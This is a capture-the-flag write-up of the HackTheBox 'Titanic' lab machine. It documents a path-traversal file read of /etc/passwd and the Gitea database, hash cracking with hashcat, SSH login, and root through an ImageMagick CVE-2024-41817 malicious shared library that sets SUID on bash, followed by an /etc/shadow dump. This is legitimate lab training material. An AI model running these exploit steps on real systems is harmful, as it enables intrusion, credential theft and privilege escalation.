Post

HackTheBox Writeup - Titanic

HackTheBox Writeup - Titanic

Titanic is an easy difficulty Linux machine that features an Apache server listening on port 80. The website on port 80 advertises the amenities of the legendary Titanic ship and allows users to book trips. A second vHost is also identified after fuzzing, which points to a Gitea server. The Gitea server allows registrations, and exploration of the available repositories reveals some interesting information including the location of a mounted Gitea data folder, which is running via a Docker container. Back to the original website, the booking functionality is found to be vulnerable to an Arbitrary File Read exploit, and combining the directory identified from Gitea, it is possible to download the Gitea SQLite database locally. Said database contains hashed credentials for the developer user, which can be cracked. The credentials can then be used to login to the remote system over SSH. Enumeration of the file system reveals that a script in the /opt/scripts directory is being executed every minute. This script is running the magick binary in order to gather information about specific images. This version of magick is found to be vulnerable to an arbitrary code execution exploit assigned CVE-2024-41817. Successful exploitation of this vulnerability results in elevation of privileges to the root user.

Recon


Hosts

1
2
3
4
5
6
7
8
┌──(bravosec㉿fsociety)-[~/htb/Titanic]
└─$ pt init '10.129.122.126 titanic.htb dev.titanic.htb'
+---------+--------+----------------+-----------------+
| PROFILE | STATUS |       IP       |     DOMAIN      |
+---------+--------+----------------+-----------------+
| titanic | on     | 10.129.122.126 | titanic.htb     |
| titanic | on     | 10.129.122.126 | dev.titanic.htb |
+---------+--------+----------------+-----------------+

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# Nmap 7.94SVN scan initiated Mon Feb 17 13:32:10 2025 as: /usr/lib/nmap/nmap -sVC --version-all -T4 -Pn -vv -oA ./nmap/full_tcp_scan -p 22,80, 10.129.122.126
Nmap scan report for 10.129.122.126
Host is up, received user-set (0.35s latency).
Scanned at 2025-02-17 13:32:11 CST for 17s

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGZG4yHYcDPrtn7U0l+ertBhGBgjIeH9vWnZcmqH0cvmCNvdcDY/ItR3tdB4yMJp0ZTth5itUVtlJJGHRYAZ8Wg=
|   256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDT1btWpkcbHWpNEEqICTtbAcQQitzOiPOmc3ZE0A69Z
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.52
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://titanic.htb/
Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

# Nmap done at Mon Feb 17 13:32:28 2025 -- 1 IP address (1 host up) scanned in 17.91 seconds

80 - HTTP : Titanic - Book Your Ship Trip

Info

1
http://titanic.htb [200] [Titanic - Book Your Ship Trip] [Werkzeug/3.0.3 Python/3.10.12] [9c1dc5566ff9de75f61e833f574ac4e6eba8f904] [Bootstrap:4.5.2,Flask:3.0.3,Popper:2.5.3,Python:3.10.12,jQuery,jQuery CDN,jsDelivr]

Directory

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
┌──(bravosec㉿fsociety)-[~/htb/Titanic]
└─$ URL="http://titanic.htb:80"; OUT="$(echo $URL | awk -F'://' '{print $NF}' | sed -e 's|[/:]|-|g')"; feroxbuster -k -A -w /usr/share/dirb/wordlists/common.txt --scan-dir-listings -C 400,404,500 -r -n -u "$URL" -o "ferox_${OUT}_common.txt"

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://titanic.htb:80
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/dirb/wordlists/common.txt
 💢  Status Code Filters   │ [400, 404, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ Random
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 💾  Output File           │ ferox_titanic.htb-80_common.txt
 📂  Scan Dir Listings     │ true
 🏁  HTTP methods          │ [GET]
 🔓  Insecure              │ true
 📍  Follow Redirects      │ true
 🚫  Do Not Recurse        │ true
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        5l       31w      207c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
405      GET        5l       20w      153c http://titanic.htb/book
200      GET       30l       77w      567c http://titanic.htb/static/styles.css
200      GET     2986l     7000w   469100c http://titanic.htb/static/assets/images/favicon.ico
200      GET      851l     5313w   507854c http://titanic.htb/static/assets/images/exquisite-dining.jpg
200      GET      859l     5115w   510909c http://titanic.htb/static/assets/images/luxury-cabins.jpg
200      GET      890l     5324w   534018c http://titanic.htb/static/assets/images/entertainment.jpg
200      GET      664l     5682w   412611c http://titanic.htb/static/assets/images/home.jpg
200      GET      156l      415w     7399c http://titanic.htb/
403      GET        9l       28w      276c http://titanic.htb/server-status
[####################] - 51s     4626/4626    0s      found:9       errors:5
[####################] - 51s     4614/4614    91/s    http://titanic.htb:80/ 

Subdomains

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(bravosec㉿fsociety)-[~/htb/Titanic]
└─$ gobuster vhost --append-domain -o gobuster_vhosts.txt -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -k -t 100 -u http://$(pt get rhost) -r
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://titanic.htb
[+] Method:          GET
[+] Threads:         100
[+] Wordlist:        /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
[+] User Agent:      gobuster/3.6
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: dev.titanic.htb Status: 200 [Size: 13982]
[...]

80 - VHOST : Gitea 1.22.1

Info

1
$ URL="http://dev.titanic.htb:80"; OUT="$(echo $URL | awk -F'://' '{print $NF}' | sed -e 's|[/:]|-|g')"; echo $URL | httpx -random-agent -td -server -title -fr -sc -hash sha1 -silent -ss -timeout 20 -srd "httpx_$OUT" -o "httpx_$OUT/webprobe.txt"
1
http://dev.titanic.htb [200] [Gitea: Git with a cup of tea] [Apache/2.4.52 (Ubuntu)] [0551e9c45e1688fe954e24b6acfad9e5cf39e5ea] [Apache HTTP Server:2.4.52,Gitea,Go,Ubuntu]

Directory

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
┌──(bravosec㉿fsociety)-[~/htb/Titanic]
└─$ URL="http://dev.titanic.htb:80"; OUT="$(echo $URL | awk -F'://' '{print $NF}' | sed -e 's|[/:]|-|g')"; feroxbuster -k -A -w /usr/share/dirb/wordlists/common.txt --scan-dir-listings -C 400,404,500 -r -n -u "$URL" -o "ferox_${OUT}_common.txt"

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://dev.titanic.htb:80
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/dirb/wordlists/common.txt
 💢  Status Code Filters   │ [400, 404, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ Random
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 💾  Output File           │ ferox_dev.titanic.htb-80_common.txt
 📂  Scan Dir Listings     │ true
 🏁  HTTP methods          │ [GET]
 🔓  Insecure              │ true
 📍  Follow Redirects      │ true
 🚫  Do Not Recurse        │ true
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        1l        2w       11c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET        1l      208w     2138c http://dev.titanic.htb/assets/img/logo.svg
200      GET        1l      208w     2138c http://dev.titanic.htb/assets/img/favicon.svg
200      GET       12l       73w      701c http://dev.titanic.htb/api/swagger
200      GET       22l      110w     7803c http://dev.titanic.htb/assets/img/favicon.png
200      GET       47l      313w    25954c http://dev.titanic.htb/assets/img/logo.png
200      GET      308l      945w    11306c http://dev.titanic.htb/user/login
200      GET      310l      954w    11588c http://dev.titanic.htb/user/sign_up
200      GET      419l     2012w    20924c http://dev.titanic.htb/explore/repos
200      GET       10l     3602w   148740c http://dev.titanic.htb/assets/js/webcomponents.js
200      GET        1l      677w    20773c http://dev.titanic.htb/assets/css/theme-gitea-auto.css
200      GET        8l       19w      340c http://dev.titanic.htb/administrator.rss
200      GET      416l     1846w    19997c http://dev.titanic.htb/administrator
200      GET      361l     1596w    16891c http://dev.titanic.htb/administrator/-/packages
200      GET        6l       12w      291c http://dev.titanic.htb/administrator.atom
200      GET       18l       99w     5509c http://dev.titanic.htb/avatars/2e1e70639ac6b0eecbdab4a3d19e0f44
200      GET      392l     1653w    17382c http://dev.titanic.htb/administrator/-/projects
200      GET        0l        0w  1209664c http://dev.titanic.htb/assets/licenses.txt
200      GET        0l        0w   374201c http://dev.titanic.htb/assets/css/index.css
200      GET        0l        0w  1264215c http://dev.titanic.htb/assets/js/index.js
200      GET      275l     1278w    13982c http://dev.titanic.htb/
200      GET       16l      126w     7237c http://dev.titanic.htb/avatars/e2d95b7e207e432f62f3508be406c11b
200      GET      394l     1657w    17375c http://dev.titanic.htb/developer/-/projects
200      GET      505l     2418w    25150c http://dev.titanic.htb/developer
200      GET      158l      442w    14940c http://dev.titanic.htb/developer.rss
200      GET      363l     1600w    16885c http://dev.titanic.htb/developer/-/packages
200      GET      188l      425w    15613c http://dev.titanic.htb/developer.atom
200      GET      439l     1931w    19583c http://dev.titanic.htb/developer/flask-app/stars
200      GET      439l     1931w    19683c http://dev.titanic.htb/developer/docker-config/stars
200      GET      432l     1925w    19603c http://dev.titanic.htb/developer/docker-config/forks
200      GET      432l     1925w    19503c http://dev.titanic.htb/developer/flask-app/forks
200      GET      866l     4783w    49073c http://dev.titanic.htb/developer/docker-config
200      GET      978l     4888w    51402c http://dev.titanic.htb/developer/flask-app
200      GET        2l        5w      285c http://dev.titanic.htb/sitemap.xml
401      GET        1l        1w       50c http://dev.titanic.htb/v2
[####################] - 39s     4720/4720    0s      found:34      errors:10
[####################] - 39s     4614/4614    119/s   http://dev.titanic.htb:80/ 

User Flag


Shell as developer

80 - Gitea : Enumerating public repos

Info

There are 2 publicly accessible repos from the user developer

http://dev.titanic.htb/explore/repos

There are only 2 users : developer and administrator

http://dev.titanic.htb/explore/users

flask-app

http://dev.titanic.htb/developer/flask-app

http://dev.titanic.htb/developer/flask-app/src/branch/main/app.py

The /download endpoint uses os.path.join(), which ignores relative path if a full path was provided as ticket, making it vulnerable to arbitrary file read

docker-config

http://dev.titanic.htb/developer/docker-config

http://dev.titanic.htb/developer/docker-config/src/branch/main/gitea/docker-compose.yml

The data directory of gitea : /home/developer/gitea/data was revealed in docker-compose.yml file

80 - Titanic : Directory Traversal

Get users with shell

1
2
3
4
┌──(bravosec㉿fsociety)-[~/htb/Titanic]
└─$ curl -s 'http://titanic.htb/download?ticket=../../../../../../../etc/passwd' | grep -viE 'false$|nologin$|sync$'
root:x:0:0:root:/root:/bin/bash
developer:x:1000:1000:developer:/home/developer:/bin/bash

Extract users and their home directory for low hanging fruit check

1
2
3
4
5
6
7
┌──(bravosec㉿fsociety)-[~/htb/Titanic]
└─$ curl -s 'http://titanic.htb/download?ticket=../../../../../../../etc/passwd' > loot/passwd

┌──(bravosec㉿fsociety)-[~/htb/Titanic]
└─$ cat loot/passwd | grep sh$ | awk -F: '{print $1":"$6}' | tee users-home.lst; cat users-home.lst | cut -d ':' -f1 > users.lst; cat users-home.lst | cut -d ':' -f2- > users_home.lst
root:/root
developer:/home/developer

Check possible locations of ssh private key

1
ffuf -c --request-proto http -od ffuf -o ffuf -of all -w users_home.lst:FUZZ1 -w /opt/wordlists/custom/ssh_private_keys.txt:FUZZ2 -u "http://titanic.htb/download?ticket=../../../../../../../FUZZ1/FUZZ2" -fc 500 -fs 0

Check interesting files

1
ffuf -c --request-proto http -od ffuf -o ffuf -of all -w users_home.lst:FUZZ1 -w /usr/share/seclists/Fuzzing/fuzz-Bo0oM.txt:FUZZ2 -u "http://titanic.htb/download?ticket=../../../../../../../FUZZ1/FUZZ2" -fc 500 -fs 0

Crack password hashes in gitea database

  • Google : gitea 1.22.1 config file location

DOCUMENT - https://docs.gitea.com/administration/config-cheat-sheet

The data directory on docker is at /data/gitea

The config file should be at conf/app.ini

After trying some path combinations, we successfully got app.ini

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
┌──(bravosec㉿fsociety)-[~/htb/Titanic]
└─$ curl -s 'http://titanic.htb/download?ticket=../../../../../../../home/developer/gitea/data/gitea/conf/app.ini'
APP_NAME = Gitea: Git with a cup of tea
RUN_MODE = prod
RUN_USER = git
WORK_PATH = /data/gitea

[repository]
ROOT = /data/git/repositories

[repository.local]
LOCAL_COPY_PATH = /data/gitea/tmp/local-repo

[repository.upload]
TEMP_PATH = /data/gitea/uploads

[server]
APP_DATA_PATH = /data/gitea
DOMAIN = gitea.titanic.htb
SSH_DOMAIN = gitea.titanic.htb
HTTP_PORT = 3000
ROOT_URL = http://gitea.titanic.htb/
DISABLE_SSH = false
SSH_PORT = 22
SSH_LISTEN_PORT = 22
LFS_START_SERVER = true
LFS_JWT_SECRET = OqnUg-uJVK-l7rMN1oaR6oTF348gyr0QtkJt-JpjSO4
OFFLINE_MODE = true

[database]
PATH = /data/gitea/gitea.db
DB_TYPE = sqlite3
HOST = localhost:3306
NAME = gitea
USER = root
PASSWD =
LOG_SQL = false
SCHEMA =
SSL_MODE = disable

[indexer]
ISSUE_INDEXER_PATH = /data/gitea/indexers/issues.bleve

[session]
PROVIDER_CONFIG = /data/gitea/sessions
PROVIDER = file

[picture]
AVATAR_UPLOAD_PATH = /data/gitea/avatars
REPOSITORY_AVATAR_UPLOAD_PATH = /data/gitea/repo-avatars

[attachment]
PATH = /data/gitea/attachments

[log]
MODE = console
LEVEL = info
ROOT_PATH = /data/gitea/log

[security]
INSTALL_LOCK = true
SECRET_KEY =
REVERSE_PROXY_LIMIT = 1
REVERSE_PROXY_TRUSTED_PROXIES = *
INTERNAL_TOKEN = eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE3MjI1OTUzMzR9.X4rYDGhkWTZKFfnjgES5r2rFRpu_GXTdQ65456XC0X8
PASSWORD_HASH_ALGO = pbkdf2

[service]
DISABLE_REGISTRATION = false
REQUIRE_SIGNIN_VIEW = false
REGISTER_EMAIL_CONFIRM = false
ENABLE_NOTIFY_MAIL = false
ALLOW_ONLY_EXTERNAL_REGISTRATION = false
ENABLE_CAPTCHA = false
DEFAULT_KEEP_EMAIL_PRIVATE = false
DEFAULT_ALLOW_CREATE_ORGANIZATION = true
DEFAULT_ENABLE_TIMETRACKING = true
NO_REPLY_ADDRESS = noreply.localhost

[lfs]
PATH = /data/git/lfs

[mailer]
ENABLED = false

[openid]
ENABLE_OPENID_SIGNIN = true
ENABLE_OPENID_SIGNUP = true

[cron.update_checker]
ENABLED = false

[repository.pull-request]
DEFAULT_MERGE_STYLE = merge

[repository.signing]
DEFAULT_TRUST_MODEL = committer

[oauth2]
JWT_SECRET = FIAOKLQX4SBzvZ9eZnHYLTCiVGoBtkE4y5B7vMjzz3g

From database section, we know that It’s using sqlite and the database file is located at /data/gitea/gitea.db

Download gitea.db

1
2
┌──(bravosec㉿fsociety)-[~/htb/Titanic]
└─$ curl -s 'http://titanic.htb/download?ticket=../../../../../../../home/developer/gitea/data/gitea/gitea.db' > loot/gitea.db

Enumerate tables in gitea.db

1
2
3
4
5
6
┌──(bravosec㉿fsociety)-[~/htb/Titanic]
└─$ sqlite3 loot/gitea.db
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .headers on
sqlite> .mode columns
1
2
3
4
sqlite> .tables
[...]
language_stat              user
[...]

Check user table’s schema

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
sqlite> PRAGMA table_info(user);
cid  name                            type     notnull  dflt_value  pk
---  ------------------------------  -------  -------  ----------  --
0    id                              INTEGER  1                    1
1    lower_name                      TEXT     1                    0
2    name                            TEXT     1                    0
3    full_name                       TEXT     0                    0
4    email                           TEXT     1                    0
5    keep_email_private              INTEGER  0                    0
6    email_notifications_preference  TEXT     1        'enabled'   0
7    passwd                          TEXT     1                    0
8    passwd_hash_algo                TEXT     1        'argon2'    0
9    must_change_password            INTEGER  1        0           0
10   login_type                      INTEGER  0                    0
11   login_source                    INTEGER  1        0           0
12   login_name                      TEXT     0                    0
13   type                            INTEGER  0                    0
14   location                        TEXT     0                    0
15   website                         TEXT     0                    0
16   rands                           TEXT     0                    0
17   salt                            TEXT     0                    0
[...]

Select usernames and their hashes

1
2
3
4
5
6
7
8
sqlite> select name,passwd,passwd_hash_algo,salt from user;
name           passwd                                                        passwd_hash_algo  salt
-------------  ------------------------------------------------------------  ----------------  --------------------------------
administrator  cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d4  pbkdf2$50000$50   2d149e5fbd1b20cf31db3e3c6a28fc9b
               59c08d2dfc063b2406ac9207c980c47c5d017136

developer      e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b  pbkdf2$50000$50   8bf3e3452b78544f8bee9400d6936d34
               7cbc8efc5dbef30bf1682619263444ea594cfb56

Search the hash type from hashcat example hashes

  • Hash format : sha256:<iterations>:<salt>:<hash>

The required hash and salt are in base64 format, but the ones we have seems to be hex

Print the hex as ASCII and convert them to base64 to output in hashcat’s hash format

1
2
3
4
┌──(bravosec㉿fsociety)-[~/htb/Titanic]
└─$ sqlite3 loot/gitea.db 'select name,passwd,salt from user;' | while IFS='|' read -r user hash salt; do echo "${user}:sha256:50000:$(echo -n $salt | xxd -r -p | base64 -w0):$(echo -n $hash | xxd -r -p | base64 -w0)"; done | tee loot/gitea_user.hash
administrator:sha256:50000:LRSeX70bIM8x2z48aij8mw==:y6IMz5J9OtBWe2gWFzLT+8oJjOiGu8kjtAYqOWDUWcCNLfwGOyQGrJIHyYDEfF0BcTY=
developer:sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=

Crack the hashes

1
hashcat loot/gitea_user.hash /opt/wordlists/rockyou.txt --user
1
2
3
4
5
6
7
8
9
10
11
┌──(bravosec㉿fsociety)-[~/htb/Titanic]
└─$ hashcat loot/gitea_user.hash /opt/wordlists/rockyou.txt --user --show
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

10900 | PBKDF2-HMAC-SHA256 | Generic KDF

NOTE: Auto-detect is best effort. The correct hash-mode is NOT guaranteed!
Do NOT report auto-detect issues unless you are certain of the hash type.

developer:sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=:25282528

22 - SSH : Password reuse

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
┌──(bravosec㉿fsociety)-[~/htb/Titanic]
└─$ cssh $(pt get rhost) developer 25282528
Warning: Permanently added 'titanic.htb' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-131-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Mon Feb 17 11:35:45 AM UTC 2025

  System load:           0.0
  Usage of /:            80.3% of 6.79GB
  Memory usage:          16%
  Swap usage:            0%
  Processes:             227
  Users logged in:       0
  IPv4 address for eth0: 10.129.122.126
  IPv6 address for eth0: dead:beef::250:56ff:fe94:3d4b


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

developer@titanic:~$ id
uid=1000(developer) gid=1000(developer) groups=1000(developer)
developer@titanic:~$ cat user.txt
985b90a69b21a06ad98bce4bdfaad457

Root Flag


From developer to root

Situation awareness

We can’t see processes other than ours

1
2
3
4
5
6
7
developer@titanic:~$ ps auxfw5
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
develop+  226102  0.0  0.1   8812  5576 pts/0    Ss   11:35   0:00 -bash
develop+  226171  0.0  0.0  10044  1608 pts/0    R+   11:37   0:00  \_ ps auxfw5
develop+    1637  0.2  4.6 1539712 182800 ?      Ssl  04:20   1:11 /usr/local/bin/gitea web
develop+  226001  0.1  0.2  17064  9728 ?        Ss   11:35   0:00 /lib/systemd/systemd --user
develop+    1148  1.3  0.8 1064988 33464 ?       Ss   04:20   6:06 /usr/bin/python3 /opt/app/app.py

/etc/fstab was configured with hidepid to harden /proc, so we can’t run pspy to enumerate cron jobs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
developer@titanic:~$ cat /etc/fstab

# /etc/fstab: static file system information.

#

# Use 'blkid' to print the universally unique identifier for a

# device; this may be used with UUID= as a more robust way to name devices

# that works even if disks are added and removed. See fstab(5).

#

# <file system> <mount point>   <type>  <options>       <dump>  <pass>

# / was on /dev/sda2 during curtin installation
/dev/sda2 / ext4 defaults 0 1
/dev/sda3 none swap sw 0 0
proc /proc proc defaults,nosuid,nodev,noexec,relatime,hidepid=2 0 0

ImageMagick 7.1.1 - Arbitrary Code Execution

There’s a script owned by root at /opt/scripts/identify_images.sh

1
2
3
4
5
6
7
8
9
10
11
12
developer@titanic:~$ ls -latr /opt
total 20
drwxr-xr-x 19 root root      4096 Feb  7 10:37 ..
drwxr-xr-x  2 root root      4096 Feb  7 10:37 scripts
drwx--x--x  4 root root      4096 Feb  7 10:37 containerd
drwxr-xr-x  5 root root      4096 Feb  7 10:37 .
drwxr-xr-x  5 root developer 4096 Feb  7 10:37 app
developer@titanic:~$ ls -latr /opt/scripts/
total 12
-rwxr-xr-x 1 root root  167 Feb  3 17:11 identify_images.sh
drwxr-xr-x 2 root root 4096 Feb  7 10:37 .
drwxr-xr-x 5 root root 4096 Feb  7 10:37 ..
  • It calls /usr/bin/magick to identify .jpg files in /opt/app/static/assets/images/ that developer group can control
  • The command output will be stored in /opt/app/static/assets/images/metadata.log
1
2
3
4
developer@titanic:~$ cat /opt/scripts/identify_images.sh
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log

Since /opt/app/static/assets/images/metadata.log changes every 1 minute, identify_images.sh is highly possible to be run by a cron job as root

1
2
3
4
5
6
7
8
9
10
developer@titanic:~$ ls -latr /opt/app/static/assets/images/
total 1288
-rw-r----- 1 root developer 291864 Feb  3 17:13 entertainment.jpg
-rw-r----- 1 root developer 280817 Feb  3 17:13 luxury-cabins.jpg
-rw-r----- 1 root developer 232842 Feb  3 17:13 home.jpg
-rw-r----- 1 root developer 209762 Feb  3 17:13 favicon.ico
-rw-r----- 1 root developer 280854 Feb  3 17:13 exquisite-dining.jpg
drwxrwx--- 2 root developer   4096 Feb  3 17:13 .
drwxr-x--- 3 root developer   4096 Feb  7 10:37 ..
-rw-r----- 1 root developer    442 Feb 17 11:48 metadata.log

Check ImageMagick’s version

1
2
3
4
5
6
7
8
9
10
11
12
13
14
developer@titanic:~$ /usr/bin/magick -h
Usage: magick tool [ {option} | {image} ... ] {output_image}
Usage: magick [ {option} | {image} ... ] {output_image}
       magick [ {option} | {image} ... ] -script {filename} [ {script_args} ...]
       magick -help | -version | -usage | -list {option}

magick: invalid argument for option -h @ error/magick-cli.c/MagickImageCommand/991.
developer@titanic:~$ /usr/bin/magick -version
Version: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5)
Delegates (built-in): bzlib djvu fontconfig freetype heic jbig jng jp2 jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (9.4)
  • Google : ImageMagick 7.1.1-35 exploit

Details & POC - https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-8rxc-922v-phg8

  • Empty path to MAGICK_CONFIGURE_PATH isn’t abusable since the find command from the script only retrieve .jpg files that are not symlink / hardlink
  • We can abuse empty path to LD_LIBRARY_PATH in this case to load our malicious shared library

Create a shared library in /opt/app/static/assets/images/ that gives /bin/bash SETUID bits

1
developer@titanic:~$ cd /opt/app/static/assets/images/
1
2
3
4
5
6
7
8
9
10
11
12
gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>
__attribute__((constructor)) void init(){
    system("chmod +s /bin/bash");
    exit(0);
}
EOF

Wait for the script to run

1
2
developer@titanic:/opt/app/static/assets/images$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1396520 Mar 14  2024 /bin/bash

Start bash with -p option to preserve euid and egid of root user, then start a new shell as root with the help of python’s os.setuid() function

1
2
3
4
5
6
developer@titanic:/opt/app/static/assets/images$ bash -p
bash-5.1# $(which python2 python python3 2>/dev/null | head -n1) -c 'import os;os.setuid(0);os.system("/bin/bash -p")'
bash-5.1# id
uid=0(root) gid=1000(developer) egid=0(root) groups=0(root),1000(developer)
bash-5.1# cat /root/root.txt
31e914ee4d273b0d2f78d48e24785572

Additional


Post exploitation

Secrets

1
2
3
bash-5.1# awk -F: '$2 ~ /^\$/' /etc/shadow
root:$y$j9T$FEVNYiA6DwY7GiuIjF42Y0$DqhzPlCnT7fI5E3c6LQ0Wx7ym/PhY0swKTKUczhwwv6:19937:0:99999:7:::
developer:$y$j9T$Sof1eV6yeubj9QaCTbzxd1$WsWRB9X8pgYiJozBaqsEsA/wJRjlWk6iKXv6VNG/fU5:19937:0:99999:7:::

Files

1

Client side activities

Keylogging & Clipboard history

1

Browser

1

Files & directories access history

1

Application history

1
This post is licensed under CC BY 4.0 by the author.